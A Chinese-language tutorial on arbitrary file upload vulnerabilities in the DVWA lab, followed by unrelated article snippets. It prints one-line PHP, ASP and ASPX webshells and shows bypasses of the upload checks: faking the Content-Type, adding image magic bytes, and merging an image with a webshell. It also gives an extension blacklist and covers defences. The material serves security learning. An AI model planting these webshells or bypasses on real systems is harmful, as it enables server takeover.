渗透测试漏洞原理之---【任意文件上传漏洞】
文章目录
- 1、任意文件上传概述
- 1.1、漏洞成因
- 1.2、漏洞危害
- 2、WebShell解析
- 2.1、Shell
- 2.2、WebShell
- 2.2.1、大马
- 2.2.2、小马
- 2.2.3、GetShell
- 3、任意文件上传攻防
- 3.1、毫无检测
- 3.1.1、源代码
- 3.1.2、代码审计
- 3.1.3、靶场试炼
- 3.2、黑白名单策略
- 3.2.1、文件检测
- 3.2.2、后缀名黑名单
- 3.2.3、后缀名白名单
- 3.3、文件类型检测
- 3.3.1、源代码
- 3.3.2、代码审计
- 3.3.3、靶场 试炼
- 3.4、文件名、后缀名或检测内容
- 3.4.1、源代码
- 3.4.2、代码审计
- 3.4.3、靶场试炼
- 3.4.4、==文件幻数==
- 3.5、图片木马
- 3.5.1、使用CMD命令
- 3.5.2靶场High级别试炼
- 3.6、完全防御
- 3.6.1、源代码
- 3.6.2、代码审计
- 3.7、文件上传利用条件
- 3.8、任意文件上传防御
- 3.8.1、代码角度
- 3.8.2、业务角度
- 3.8.3、Web容器角度
- 3.8.4、系统角度
- 3.8.5、服务器部署
- 4、c0ny1/upload-labs靶场
1、任意文件上传概述
文件上传是web应用必备功能之一,如:头像上传,附件分享登,如果服务器配置不当或者 没有进行足够的过滤,Web用户就可以上传任意文件,包括恶意脚本文件,exe 程序等等,这就造成了任意文件上传漏洞
1.1、漏洞成因
服务器配置不当,开启了PUT 方法
Web 应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤
在程序开发部署时,没有考虑以下因素,导致限制被绕过:
- 代码特性;
- 组件漏洞;
- Web 容器漏洞;
- 系统特性;
- …
1.2、漏洞危害
上传恶意代码(文件,程序),并执行恶意代码(文件,程序):
- 直接上传后门文件并执行,导致网站沦陷;
- 通过恶意文件,利用其他漏洞拿到管理员权限(提权),导致服务器沦陷。
通过文件上传漏洞获得的网站后门,叫WebShell
2、WebShell解析
2.1、Shell
也叫命令解释器
Windows | Linux |
---|---|
powershell | bash |
cmd | sh |
… | zsh |
… |
2.2、WebShell
WebShell 是一个网站的后门,也是一个命令解释器。通过Web 方式,使用HTTP| HTTPS 协议传递命令消息到服务器,并且继承了Web 用户的权限,在服务器上远程执行命令。WebShell 从本质上讲,就是服务器端可运行的脚本文件,后缀名通常为:
- .php
- .asp
- .aspx
- .jsp
- .jspx
- …
WebShell 接收来自于Web 用户的命令,然后在服务器端执行,也称为网站木马、木马后门、网马登
Web容器 | 脚本语言 |
---|---|
Apache HTTPD | php |
IIS | asp、aspx、php |
Tomcat | jsp、jspx |
2.2.1、大马
代码量比较大,相对于一句话木马
2.2.2、小马
一句话木马,需要与中国蚁剑配合。
特点:短小精悍,功能强大。
蚁剑三大基本功能:文件管理、虚拟终端、数据库管理
php脚本格式:
<?php @eval($_REQUEST[777])?>
//代码执行函数+传参点
asp脚本格式:
<%eval request("777")%>
aspx脚本格式:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["777"],"unsafe");%>
2.2.3、GetShell
GetShell 是获取WebShell 的过程或结果。文件上传漏洞的利用是GetShell 的主要方式,但不是唯一手段。
3、任意文件上传攻防
以DVWA靶场为例
下载地址
配置教程 可以到网上搜
3.1、毫无检测
DVWA/File Upload/Low级别
3.1.1、源代码
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}
}?>
3.1.2、代码审计
- 对文件上传没有做任何过滤
- 任意文件上传
核心函数 move_uploaded_file 将上传的文件移动到$target_path里
3.1.3、靶场试炼
直接上传一句话木马1.php
<?php @eval($_REQUEST[6868])?>
上传的路径:http://192.168.80.139/DVWA-2.0.1/hackable/uploads/1.php
使用WebShell管理工具连接
进入目录管理
3.2、黑白名单策略
黑白名单是最常用,也是最重要的安全策略之一。黑白名单策略类似于一个列表,列表中写了一些条件或者规则,黑名单就是非法条件,白名单就是合法条件,类似于手机的黑白名单。也是最常用的防御策略之一
3.2.1、文件检测
- 文件后缀名
- 文件类型
- 文件内容
3.2.2、后缀名黑名单
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".phtml",".pht",".html",".htm",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jhtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".swf",".htaccess"
);
3.2.3、后缀名白名单
$allow_ext = array('jpg','jpeg','png','bmp','gif','svg','zip','tar.gz','doc','docx','pdf','xls','ppt'
);
3.3、文件类型检测
DVWA/File Upload/Medium级别
3.3.1、源代码
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>
3.3.2、代码审计
- 上传的文件没有重命名;
- Content-Type 类型白名单检测;
- 任意文件上传
上传的文件类型必须是image/jpeg,或者image/png
3.3.3、靶场 试炼
继续上传1.php,发现对上传的文件后缀做了限制
使用bp抓取数据包
修改文件后缀为2.png
,上传失败,说明关键点不在图片的后缀名
修改文件类型Content-Type:image/png
,上传成功
3.4、文件名、后缀名或检测内容
DVWA/File Upload/High级别
3.4.1、源代码
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Is it an image?if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>
3.4.2、代码审计
- 上传文件没有重命名;
- 文件后缀名白名单检测;
- 使用getimagesize() 进行文件内容检测,只检测文件头部
3.4.3、靶场试炼
继续上传一句话木马1.php
,上传失败,使用bp
抓取数据包
发现对文件后缀,文件类型,文件内容
都做了限制
在文件内容处加上图片的头部标识GIF8a
3.4.4、文件幻数
只要是JPG文件,那么该文件的十六进制头部就是FF D8 FF E0
…
图片头部验证
hexdump 1.jpg
3.5、图片木马
3.5.1、使用CMD命令
copy imgName/b+yjh/a newImgNamecopy 1.png/b+1.php/a 2.png
说明:
- 图片木马没有办法直接利用,需要配合其他漏洞
- 图片木马中包含了恶意代码
3.5.2靶场High级别试炼
准备一张小一点的图片1.jpg
,还有一句话木马1.php
<?php @eval($_REQUEST[6868])?>
使用cmd命令将图片和代码合成一个文件
copy 1.jpg/b+1.php/a 2.jpg
上传2.jpg
上传成功 ,如果想要访问的话需要和其他漏洞一起使用
DVWA File Upload相关博客
Pikachu靶场 Unsafe upfileupload ||||||||||||||||getimagesize这关提供了两个方式,方式一:制作图片头部表示,方式二:使用cmd命令制作 图片木马
3.6、完全防御
DVWA/File Upload/Impossible级别
3.6.1、源代码
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// Noecho '<pre>Your image was not uploaded.</pre>';}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?>
3.6.2、代码审计
- 检测Token 值,防止数据包重放;
- 文件重命名;
- 文件后缀名白名单检测;
- 文件类型白名单检测;
- 文件内容头部检测;
- 二次渲染,生成新文件;
- 删除缓存文件
3.7、文件上传利用条件
文件上传漏洞完美利用,受到以下条件限制:
- Web 服务器开启文件上传功能,Web 用户可以使用该功能
- Web 用户对目标目录具有可写权限,甚至具有执行权限。一般情况下Web 目录都有执行权限
- 完美利用意味着文件可以执行,也就是说代码可以被服务器解析
- 服务器开启了PUT 方法
3.8、任意文件上传防御
3.8.1、代码角度
- 采用白名单策略,严格限制上传文件的后缀名;
- 上传文件重命名,尽量少的从客户端获取信息,包括文件名、文件类型、文件内容等;
- 文件内容检测
- 进行二次渲染,过滤掉图片马中的恶意代码;
- 避免文件包含漏洞;
- 严格处理文件路径,防御
00 截断
漏洞; - 检测Token 值,防止数据包重放
3.8.2、业务角度
- 强口令策略,避免恶意攻击者登录网站后台;
- 尽量避免Web 用户修改上传白名单
3.8.3、Web容器角度
- 及时更新Web 容器,防止解析漏洞产生。
- 禁用Web 容器PUT 方法
现在的服务器已经把PUT方法关闭掉了,
但是也需要知道有这么个东西
3.8.4、系统角度
避开空格
、点 .
、 ::$DATA
等系统特性
linux系统下是允许文件名末尾存在 空格的
3.8.5、服务器部署
- 严格控制权限,执行权限与写权限分离。
- 建立单独的文件存储服务器,类似于站库分离
4、c0ny1/upload-labs靶场
c0ny1/upload-labs-github地址
下载地址
相关文章:

渗透测试漏洞原理之---【任意文件上传漏洞】
文章目录 1、任意文件上传概述1.1、漏洞成因1.2、漏洞危害 2、WebShell解析2.1、Shell2.2、WebShell2.2.1、大马2.2.2、小马2.2.3、GetShell 3、任意文件上传攻防3.1、毫无检测3.1.1、源代码3.1.2、代码审计3.1.3、靶场试炼 3.2、黑白名单策略3.2.1、文件检测3.2.2、后缀名黑名…...

Rust多线程编程
Rust多线程编程 文章目录 Rust多线程编程使用线程模块创建线程线程传参闭包(匿名函数)值捕获不可变引用捕获可变引用捕获 线程闭包传参更优雅地传参 回收线程线程同步和通信channel 通道mutex 互斥锁Barrier 栅栏Atomic Types 原子类型 使用线程模块 ru…...

什么是 TF-IDF 算法?
简单来说,向量空间模型就是希望把查询关键字和文档都表达成向量,然后利用向量之间的运算来进一步表达向量间的关系。比如,一个比较常用的运算就是计算查询关键字所对应的向量和文档所对应的向量之间的 “相关度”。 简单解释TF-IDF TF &…...

干货!耽误你1分钟,教你怎么查自己的流量卡是什么卡?
很多朋友都想购买一张正规的号卡,但是在网上一搜流量卡,五花八门,各式各样,那么,我们该如何辨别流量卡呢。 从种类上来看,网上的流量卡一共分为两种:号卡和物联卡 物联卡不用多说࿰…...

Spring Boot + Vue的网上商城实战入门
Spring Boot Vue的网上商城实战入门 技术栈调研 当使用Spring Boot和Vue构建网上商城项目时,以下是常用的技术栈和工具: 后端技术栈: Spring Boot:用于构建后端API,提供数据服务;Spring MVC:…...

云上办公系统项目
云上办公系统项目 1、云上办公系统1.1、介绍1.2、核心技术1.3、开发环境说明1.4、产品展示后台前台 1.5、 个人总结 2、后端环境搭建2.1、建库建表2.2、创建Maven项目pom文件guigu-oa-parentcommoncommon-utilservice-utilmodelservice-oa 配置数据源、服务器端口号application…...

three.js(九):内置的路径合成几何体
路径合成几何体 TubeGeometry 管道LatheGeometry 车削ExtrudeGeometry 挤压 TubeGeometry 管道 TubeGeometry(path : Curve, tubularSegments : Integer, radius : Float, radialSegments : Integer, closed : Boolean) path — Curve - 一个由基类Curve继承而来的3D路径。 De…...

【MySQL系列】索引的学习及理解
「前言」文章内容大致是MySQL索引的学习。 「归属专栏」MySQL 「主页链接」个人主页 「笔者」枫叶先生(fy) 目录 一、索引概念二、从硬件角度理解2.1 磁盘2.2 结论 三、从软件角度理解四、共识五、索引的理解5.1 一个现象和结论5.2 对Page进行建模5.3 索引可以采用的数据结构5.…...

GPT-4.0技术大比拼:New Bing与ChatGPT,哪个更适合你
随着GPT-4.0技术的普及和发展,越来越多的平台开始将其应用于各种场景。New Bing已经成功接入GPT-4.0,并将其融入搜索和问答等功能。同样,在ChatGPT官网上,用户只需开通Plus账号,即可体验到GPT-4.0带来的智能交流和信息…...
vnc与windows之间的复制粘贴
【原创】VNC怎么和宿主机共享粘贴板 假设目标主机是linux,终端主机是windows(就是在windows上使用VNC登陆linux) 在linux中执行 vncconfig -nowin& 在linux选中文字后,无需其他按键,直接在windows中可以黏贴。 …...

windows下如何搭建属于自己的git服务器
前一阵子公司需要,领导让我给我们技术部搭建一个git服务器。以前看过教程,但自己没动手做过,开始按照网上的教程来,但搭建过程中发现还是不够详细,今天给大家一个比较详细的,希望对大家有帮助。 高能预警&a…...

D360周赛复盘:模拟(思维题目)⭐⭐+贪心解决可能的最小和(类似上次)
文章目录 2833.距离原点最远的点思路完整版 2834.找出美丽数组的最小和思路完整版 2833.距离原点最远的点 给你一个长度为 n 的字符串 moves ,该字符串仅由字符 L、R 和 _ 组成。字符串表示你在一条原点为 0 的数轴上的若干次移动。 你的初始位置就在原点…...

【C++学习】函数指针
#include<iostream> //包含头文件 using namespace std; void func(int no, string str){cout << "亲爱的"<< no << "号:" << str << endl; }int main(){int bh 3;string message "我是一只傻傻鸟";func…...

A. Copil Copac Draws Trees
Problem - 1830A - Codeforces 问题描述: 科皮尔-科帕克(Copil Copac)得到一个由 n − 1 n-1 n−1条边组成的列表,该列表描述了一棵由 n n n个顶点组成的树。他决定用下面的算法来绘制它: 步骤 0 0 0:…...

D359周赛复盘:贪心解决求最小和问题⭐⭐+较为复杂的双层线性DP⭐⭐
文章目录 2828.判别首字母缩略词完整版 2829.k-avoiding数组的最小总和(贪心解法)思路完整版 类似题:2834.找出美丽数组的最小和思路完整版 2830.销售利润最大化⭐⭐思路DP数组含义递推公式 完整版 2828.判别首字母缩略词 给你一个字符串数组…...

python基础之miniConda管理器
一、介绍 MiniConda 是一个轻量级的 Conda 版本,它是 Conda 的精简版,专注于提供基本的环境管理功能。Conda 是一个流行的开源包管理系统和环境管理器,用于在不同的操作系统上安装、管理和运行软件包。 与完整版的 Anaconda 相比,…...

C++算法 —— 分治(1)快排
文章目录 1、颜色分类2、排序数组3、第k个最大的元素(快速选择)4、最小的k个数(快速选择) 分治,就是分而治之,把大问题划分成多个小问题,小问题再划分成更小的问题。像快排和归并排序就是分治思…...

接口用例设计
章节目录: 一、针对输入设计1.1 数值型1.2 字符串型1.3 数组或链表类型 二、针对业务逻辑2.1 约束条件分析2.2 操作对象分析2.3 状态转换分析2.4 时序分析 三、针对输出设计3.1 针对输出结果3.2 接口超时 四 、其他测试设计4.1 已废弃接口测试4.2 接口设计合理性分析…...

Selenium超级详细的教程
Selenium是一个用于自动化测试的工具,它可以模拟用户在浏览器中的各种操作。除了用于测试,Selenium还可以用于爬虫,特别是在处理动态加载页面时非常有用。本文将为您提供一个超级详细的Selenium教程,以帮助您快速入门并了解其各种…...

服务报network error错误
问题:服务请求时会偶发性的报【network error网络超时】(请求瞬间就报) 可能原因: 服务器linux内核调优时将:net.ipv4.tcp_tw_recycle设置为1,开启TCP连接中TIME-WAIT sockets的快速回收,默认为…...

【ES6】利用 Proxy实现函数名链式效果
利用 Proxy,可以将读取属性的操作(get),转变为执行某个函数,从而实现属性的链式操作。 var pipe function (value) {var funcStack [];var oproxy new Proxy({} , {get : function (pipeObject, fnName) {if (fnNa…...

hive部署
下载hive安装包:https://dlcdn.apache.org/hive/hive-2.3.9/解压及环境部署 tar -zxvf apache-hive-2.3.9-bin.tar.gz mv apache-hive-2.3.9-bin hivevim /etc/profile添加至环境变量 export HIVE_HOME/usr/local/hive export PATH$PATH:$HIVE_HOME/binsource /etc…...

ip白名单之网段
代码托管,有时候为了安全性,限制网段内的ip可以访问。 IP地址和掩码均知道时才能确定主机所在的网段,也就是用这个原理来限制可访问的IP网段了。 ip后面加上“/N”就代表掩码的二进制”1“有N位。 例如: ①0.0.0.0/0 主机ip地…...

PMP项目管理主要学习内容是什么?
PMP项目管理是指根据美国项目管理学会(Project Management Institute,简称PMI)制定的项目管理知识体系和方法论进行项目管理的一种认证。PMP主要关注项目的规划、执行和控制等方面的知识和技能。 下面是PMP项目管理《PMBOK指南》第六版的主要学习内容: …...

小米面试题——不用加减乘除计算两数之和
前言 (1)刷B站看到一个面试题,不用加减乘除计算两数之和。 (2)当时我看到这个题目,第一反应就是感觉这是一个数电题目。不过需要采用C语言的方式编写出来。 (3)不过看到大佬的代码之…...

Mysql 日志管理 数据备份
MySQL日志管理 MySQL的默认日志保存位置为/usr/local/mysql/data 日志开启方式有两种:通过配置文件或者是通过命令 通过命令修改开启的日志是临时的,关闭或重启服务后就会关闭 日志的分类 1.错误日志 用来记录当MySQL启动、停止或运行时发生的错误信…...

Java小记-腾讯2020校招-后台-逛街
题目描述: 小Q在周末的时候和他的小伙伴来到大城市逛街,一条步行街上有很多高楼,共有n座高楼排成一行。 小Q从第一栋一直走到了最后一栋,小Q从来都没有见到这么多的楼,所以他想知道他在每栋楼的位置处能看到多少栋楼呢…...

FFmpeg5.0源码阅读——FFmpeg大体框架
摘要:前一段时间熟悉了下FFmpeg主流程源码实现,对FFmpeg的整体框架有了个大概的认识,因此在此做一个笔记,希望以比较容易理解的文字描述FFmpeg本身的结构,加深对FFmpeg的框架进行梳理加深理解,如果文章中有…...

【算法刷题之字符串篇】
目录 1.leetcode-344. 反转字符串(1)方法:双指针 2.leetcode-541. 反转字符串 II(1)方法一:模拟(2)方法二:双指针 3.leetcode-剑指 Offer 05. 替换空格(1&…...

js中forEach和map的区别:forEach不会改变原数组,而map会改变数组?错了错了
1.提出思考?forEach不会改变原数组,而map会改变数组? 看到掘金上一篇文章觉得很有意思:大致是描述一般面试官问js中forEach和map的区别?都会回答forEach不会改变原数组,而map会改变,我也一直对…...